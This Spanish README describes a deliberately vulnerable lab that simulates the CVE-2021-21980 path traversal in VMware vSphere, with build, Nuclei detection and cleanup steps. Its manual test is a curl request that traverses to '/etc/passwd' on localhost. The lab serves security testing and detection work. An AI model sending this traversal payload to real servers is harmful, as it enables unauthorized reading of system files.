CVE-2021-21980 Entorno de Prueba Vulnerable

Descripción General

Entorno de prueba realista que simula la vulnerabilidad de salto de ruta (path traversal) del Cliente Web de VMware vSphere.

⚠️ ADVERTENCIA: Entorno de prueba vulnerable. ¡No lo expongas a Internet!

Inicio Rápido

Compilar y Ejecutar

podman build -t vcenter-lab .
podman run -d -p 443:443 --name vcenter-lab vcenter-lab

Prueba Manual

curl -k "https://localhost/ui/vic-rest/services/containerView?id=../../../etc/passwd"

Prueba con Nuclei

nuclei -t CVE-2021-21980.yaml -u https://localhost -debug

Qué Hace Esto Diferente de los Servidores Simulados (Mock)

✅ Realmente lee archivos del sistema de archivos del contenedor usando E/S de archivos de Python
✅ Comportamiento realista - Maneja el salto de ruta (path traversal) como el vSphere real
✅ Cabeceras de VMware - Incluye Server: VMware-HTTP-Server/1.0
✅ SSL/TLS - Generación de certificados autofirmados
✅ No está codificado de forma fija (hardcoded) - Devuelve el contenido real de los archivos

Detalles de la Vulnerabilidad

CVE: CVE-2021-21980
Severidad: Alta (CVSS 7.5)
Tipo: Salto de ruta (Path Traversal) / Lectura Arbitraria de Archivos
Afectados: VMware vCenter Server 7.0, 6.7, 6.5 (sin parchear)

Archivos

Dockerfile - Configuración de compilación del contenedor
server.py - Aplicación Flask vulnerable
CVE-2021-21980.yaml - Plantilla de detección de Nuclei
README.md - Este archivo

Prueba de Validación

Este laboratorio fue validado con Nuclei mostrando:

Detección exitosa de la vulnerabilidad
Lectura real de archivos (no respuestas simuladas)
Trazas completas de solicitud/respuesta HTTP en modo depuración

Limpieza

podman stop vcenter-lab && podman rm vcenter-lab

vcenter-cve-2021-21980-lab

Más Populares